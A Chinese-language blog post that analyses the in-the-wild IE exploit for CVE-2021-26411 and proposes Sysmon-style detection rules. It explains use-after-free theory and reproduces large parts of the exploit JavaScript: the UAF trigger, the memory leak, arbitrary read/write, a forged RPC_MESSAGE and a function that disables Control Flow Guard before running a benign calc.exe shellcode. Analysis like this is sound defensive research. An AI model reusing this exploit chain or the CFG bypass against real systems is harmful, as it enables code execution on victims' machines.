</RuleGroup>
 
<!--SYSMON EVENT ID 10 : INTER-PROCESS ACCESS [ProcessAccess]-->
    <!--EVENT 10: "Process accessed"-->
    <!--COMMENT: Can cause high system load, disabled by default.-->
    <!--COMMENT: Monitor for processes accessing other process' memory.-->
 
    <!--DATA: UtcTime, SourceProcessGuid, SourceProcessId, SourceThreadId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, GrantedAccess, CallTrace-->
<RuleGroup name="" groupRelation="or">
    <ProcessAccess onmatch="include">
        <!--NOTE: Using "include" with no rules means nothing in this section will be logged-->
    </ProcessAccess>
</RuleGroup>

 

首先看到的是启动了IE,打开了包含uaf漏洞利用的1809.html网页:

 

然后是创建了IE子进程,因为每一个tab标签页都会启动IE子进程:

 

 

IE子进程里加载rpc runtime DLL:

 

继续加载iframe和html viewer DLL:

 

 

 

IE加载JS引擎:

 

IE调用RPC proxy stub DLL:

 

IE加载script runtime dll和sxs.dll:

 

 

这个sxs.dll是啥作用?微软官方的说法是用来做查詢、安裝、卸載安装的程序服务。见:https://learn.microsoft.com/zh-hk/windows/win32/api/winsxs/

 

 

 

然后看到IE里fork了calc.exe:

 

 

calc.exe调用rpc runtime dll:

 

 

ie加载msi.dll:==》msi.dll是Windows安装程序MSI(Microsoft Installer)相关模块

 对应代码:

1
2
3
4
5
// 调用API,弹出计算器
// 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行calc.exe
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

 

 

calc.exe加载了来自ie的utility dll:

 

调用rpc:

 

 

 

 

 对于可疑内存的修改和进程执行,可以看到如下三个api的调用:virutalprotect、loadlibrary以及winexec,因此采集os api应该是可以知道有可疑的内存修改和进程执行动作,尤其是IE里执行这些API。

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 调用API,弹出计算器
// 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行calc.exe
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])
 
// step5 执行 shellcode
//加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))

 

 好了,有了上面的分析,我们可以总结出如下核心的检测逻辑:

1、检测可疑的dll加载,msi.dll

2、检测os api: 对于可疑内存的修改和进程执行,可以看到如下三个api的调用:virutalprotect、loadlibrary以及winexec,因此采集os api应该是可以知道有可疑的内存修改和进程执行动作,尤其是IE里执行这些API。

3、检测可疑的子进程:ie里通过winexec启动xxx.exe这种。

基本上,从上面三个就可以判断是IE中的漏洞利用执行恶意代码了。

 

前面内容可能有点跳跃,我重点梳理下漏洞的原理:

首先是UAF漏洞的认识

Use After Free 我们可以直接从字面上翻译它的意思:使用被释放的内存块。其实当一个内存块被释放之后重新使用有如下几种情况:

内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃 内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。

UAF原理:对Dangling pointer所指向内存进行use,如指针解引用等。

利用思路将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存中的内容可控(如重新分配为字符串)

举例

typedef struct
{
int id;
char *name;
int (*func)() //函数指针,可以理解为类里面的方法
};

假设有上述这样的一个结构体指针p:

 

在释放掉p之后,没有将p置NULL,所以p变成Dangling pointer,再通过重新分配,再次拿到p之前指向的这段地址空间

之后,通过strcpy(p2,"addr"),或者其他方式,向这段地址空间写入新数据

然后当我们通过其他函数,再次使用p指针,就会造成无法预料的后果,因为此时p指针指向的内存包含的已经是完全不同的数据

  • 任意地址读:puts(p->name)--------------->puts(char*(addr2))

  • 任意地址写:strcpy(p->name,data);------>strcpy((char *)(addr2),data)

  • 控制流劫持:p->func()--------------------->call addr3

参考

好好说话之Use After Free_hollk’s blog-CSDN博客

CTF Pwn中的 UAF 及 pwnable.kr UAF writeup - 知乎 (zhihu.com)

好了,有了上面的基础,就能明白CVE-2021-26411漏洞原理了!总结下来就是:利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码
 
 
如下内容摘自:https://blog.csdn.net/further_eye/article/details/116263347,补充了自己的一些理解
 

浏览器渲染进程漏洞利用的一般思路是:在利用漏洞获得用户态任意地址读写权限后,通过篡改DOM、js等对象的虚表函数指针劫持程序执行流,通过ROP链调用VirtualProtect等Win32 API,修改保存shellcode buffer的内存属性为PAGE_EXECUTE_READWRITE,最终由ROP链跳转到shellcode执行(核心原理就是这个了,无非是利用了rpc绕过cfg)。Windows 8.1后,Microsoft引入了CFG(Control Flow Guard)缓解技术[1],对间接调用的函数指针进行验证,从而缓解了通过篡改虚表函数指针劫持程序执行流这种利用技术。

然而对抗不会因此终止,随后出现了一些绕过CFG缓解技术的新方法,比如chakra/jscript9中通过篡改栈上函数返回地址劫持程序执行流[2],v8中利用具有可执行内存属性的WebAssembly对象执行shellcode[3]等。 2020年12月,Microsoft在Windows 10 20H1中基于Intel Tiger Lake CPU加入了CET缓解技术[4],防护了通过篡改栈上函数返回地址劫持程序执行流的利用方法。因此,如何在有CET防护的环境中绕过CFG再次成为漏洞利用的难题。

在分析CVE-2021-26411在野利用样本时[5],我们发现了一种利用Windows RPC(Remote Procedure Call)[5] 绕过CFG的新方法,这种方法无需依赖ROP链,通过构造RPC_MESSAGE并调用rpcrt4!NdrServerCall2即可实现任意代码执行。==》bypass CFG: bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet,也是采用了替换函数指针的方法。

1. CVE-2021-26411回顾

《IE浏览器在野0day:CVE-2021-26411分析》[5] 一文中介绍了该漏洞的根因(就是UAF了)removeAttributeNode()触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes(),导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF。

3月份Windows补丁中该漏洞的修复方法为,在CAttrArray::Destroy函数中删除对象操作前增加索引检查

 

对应我实验里的代码部分为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// step 1
// 利用 CVE-2021-26411 的 UAF 造成类型混淆 
var god
// 对象数组
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
// 创建一个HTML 属性对象
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
// 创建一个HTML 元素对象
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // 回调时,清除ele对象绑定的所有属性
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// 触发valueof函数回调
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
// hd0.nodeValue = alloc 结束后 attr2.nodeValue 将被 hd0.nodeValue 重新占用并且与 hd2.nodeValue 形成类型混淆
// hd0.nodeValue 类型值为 0xc safeArray。
// hd2.nodeValue 类型值为 0x8 BSTR。

 

对于这样一个大小可控的UAF漏洞,利用思路为:利用两个不同类型的指针(BSTR和Dictionary.items)指向该空洞内存,通过类型混淆实现指针泄露和指针解引用(就是说利用uaf进行信息泄露,这里泄露的不过是地址!!!因为后面会向这些地址写入数据)

 对应我实验里的泄露数据部分的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// step2 泄露对象元数据,伪造 ArrayBuffer
// dump 函数以 hd2.nodeValue 为参数,使用 string 对象方法 charCodeAt 获取 hd2.nodeValue(0874035c) 处的数据,然后再以 uint32 视图泄露 fake 对象和 arr 对象的地址
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null

 

下面章节直接跳转到了rpc的利用,实际上还是有一些过程的,我补充下:

泄露了地址以后,肯定是写入数据,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// setData 函数将 fake 对象的元数据的地址填充到 abf ArrayBuffer 中
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
 
// 使用泄露的 fake 对象的元数据在 fake.ArrayBuffer.buffer 中伪造对象,伪造的对象是一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
 
// step3 实现任意读写
// 使用伪造的 ArrayBuffer 对象实现任意读写对象 god。
// 以 god 对象实现任意读
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
// 任意对象地址泄露,addrOf 将对象地址存储在 arr[0],然后读取值
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
// 以 god 对象实现任意写
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

 最终是以god对象实现任意写。

 

 

2. RPC原理及利用方法

Windows RPC用来解决分布式客户端/服务端函数调用问题。基于RPC,客户端可以像调用本地函数一样调用服务端函数,RPC基本架构如下图:

 

客户端/服务端程序将调用参数/返回值等传给下层Stub函数,Stub函数负责封装数据成NDR(Network Data Representation)格式,最后通过rpcrt4.dll提供的runtime库进行通信。

下面给出一示例idl:

 

当客户端调用add函数后,服务端由rpcrt4.dll接受处理请求并调用rpcrt4!NdrServerCall2:

 

rpcrt4!NdrServerCall2只有一个参数PRPC_MESSAGE,其中包含了客户端调用的函数索引、传参等重要数据,服务端RPC_MESSAGE结构及主要子数据结构如下图(32位):

 

如上图所示,RPC_MESSAGE结构中,函数调用关键的两个变量为Buffer和RpcInterfaceInformation。其中Buffer存放了函数的传参,RpcInterfaceInformation指向RPC_SERVER_INTERFACE结构。RPC_SERVER_INTERFACE结构保存了服务端程序接口信息,其中+0x2c DispatchTable保存了runtime库和Stub函数的接口函数指针,+0x3c InterpreterInfo指向MIDL_SERVER_INFO结构。MIDL_SERVER_INFO结构保存了服务端IDL接口信息,其中DispatchTable保存了服务端提供的远程调用例程的函数指针数组。

下面以一个实例介绍RPC_MESSAGE的结构:

根据上面给出的idl,当客户端调用add(0x111, 0x222),服务端程序断在rpcrt4!NdrServerCall2:

 

可以看到,动态调试的内存dump与RPC_MESSAGE结构分析一致,其中add函数就存放在MIDL_SERVER_INFO. DispatchTable中。

接下来分析rpcrt4!NdrServerCall2是如何根据RPC_MESSAGE调用add函数的:

rpcrt4!NdrServerCall2内部调用rpcrt4!NdrStubCall2,rpcrt4!NdrStubCall2内部根据MIDL_SERVER_INFO. DispatchTable的基地址和RPC_MESSAGE. ProcNum计算调用的函数指针地址,将函数指针、函数参数和参数长度传给rpcrt4!Invoke:

 

rpcrt4!Invoke内部最终调用服务端例程函数:

 

通过上面的分析可以知道,在获得任意地址读写权限后,可以构造一个RPC_MESSAGE数据结构,传入想要调用的函数指针(这个就是恶意代码!)和函数参数,最后手动调用rpcrt4!NdrServerCall2,即可实现任意函数执行。

 

接下来需要解决两个问题:

1)如何通过js脚本调用rpcrt4! NdrServerCall2

2)观察rpcrt4!Invoke最后的服务端例程函数调用:

 

以看到这里是一处间接调用,且有CFG检查。因此需要考虑替换MIDL_SERVER_INFO. DispatchTable函数指针后如何绕过这里的CFG防护。

 

首先解决问题1: 如何通过js脚本调用rpcrt4! NdrServerCall2

这里可以复用替换DOM对象虚表函数指针劫持程序执行流的方法,因为rpcrt4!NdrServerCall2是记录在CFGBitmap里的合法指针,所以替换后依然可以通过CFG检查。样本里通过篡改MSHTML!CAttribute::normalize,最终由“xyz.normalize()”调用rpcrt4!NdrServerCall2。

 

接着解决问题2: 如何绕过rpcrt4!NdrServerCall2中的CFG防护

样本里的思路是:

1) 利用伪造的RPC_MESSAGE和rpcrt4!NdrServerCall2调用VirtualProtect修改RPCRT4!__guard_check_icall_fptr内存属性为PAGE_EXECUTE_READWRITE

2)替换rpcrt4!__guard_check_icall_fptr里保存的指针ntdll!LdrpValidateUserCallTarget为ntdll!KiFastSystemCallRet,从而关闭rpcrt4的CFG检查

3) 恢复RPCRT4!__guard_check_icall_fptr内存属性

 

解决了问题1,2后,后续即可利用伪造的RPC_MESSAGE实现任意函数的调用。样本中将shellcode写入msi.dll + 0x5000的位置,最终通过rpcrt4!NdrServerCall2调用shellcode:

 

最终完整的利用演示:

 

对应我上面实验的代码就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// step4 伪造 RPC_MESSAGE
// 伪造 RPC_MESSAGE 之前需要先调用 rpcrt4!I_RpcTransServerNewConnection 以获得 OSF_SCALL_Vftable,OSF_SCALL_Vftable 最终将被设置到 RPC_MESSAGE->Handle 中
// 而 I_RpcTransServerNewConnection 和后续 rpcrt4!NdrServerCall2 的调用都是通过伪造 Attribute 进行的
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
 
// 创建 xyz 作为伪造 Attribute 的目标对象
// 这里伪造的 Attribute 与原 Attribute 只有虚表指针不同
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
 
// initRpc() 的内容用一张图说明其构建的 RPC_MESSAGE 主要结构,其中 RPC_MESSAGE 也是伪造的 Attribute,其虚表的 0x28c 处是 xyz.normalize() 执行的 NdrServerCall2 函数的地址
// 伪造 RPC_MESSAGE 作为 rpcrt4!NdrServerCall2 参数使用
var msg = initRpc()
var rpcFree = rpcFree()
 
// step4 bypass CFG
// bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet
killCfg(rpcrt4)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 调用API,弹出计算器
// 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行。
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])
 
// step5 执行 shellcode
//加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))

 

其中,通过normalize间接去调用rpcrt4!NdrServerCall2的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 使用目的函数地址替换假虚表中 normalize 函数的地址,这样调用 xyz.normalize() 函数便可以执行目的函数,normalize 函数地址对比
// 达到调用rpcrt4!NdrServerCall2目的
// 调用方式是先将 xyz 的 Attribute 指针修改为伪造 Attribute 的地址,然后调用 xyz.normalize(),调用完再恢复 xyz 的 Attribute 指针
function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    // 错误处理
    try {
        // rpcrt4!NdrServerCall2
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}

 

修改cfg的细节补充下,内含修改内存属性,覆盖cfg检查的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
    // 关闭rpcrt4的CFG检查
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

 

再度总结下核心流程

利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码

 

3.  一些思考

CVE-2021-26411在野样本中出现了利用RPC绕过CFG缓解技术的这一创新方法。这种利用方法无需构造ROP链,直接通过伪造RPC_MESSAGE即可实现任意代码执行,利用简单且稳定,有理由相信该方法会成为绕过CFG缓解措施的一种新的有效利用技术。


4. 参考文献

[1] https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard

[2] https://zhuanlan.kanxue.com/article-14133.htm

[3] https://www.anquanke.com/post/id/201951

[4] https://windows-internals.com/cet-on-windows/

[5] https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650250070&idx=1&sn=5906feea0cfe498bffbb961e73f5c285

[6] https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page

 

 
posted @   bonelee  阅读(627)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2021-04-29 政务云 电子政务外网的一些安全思考
2021-04-29 SASE——安全访问服务边缘,就是零信任接入服务
2020-04-29 为 TortoiseGit 添加 ssh key---运行 TortoiseGit 开始菜单中的 Pageant 程序将ppk私钥加入即可
2018-04-29 1、VGG16 2、VGG19 3、ResNet50 4、Inception V3 5、Xception介绍——迁移学习
点击右上角即可分享
微信分享提示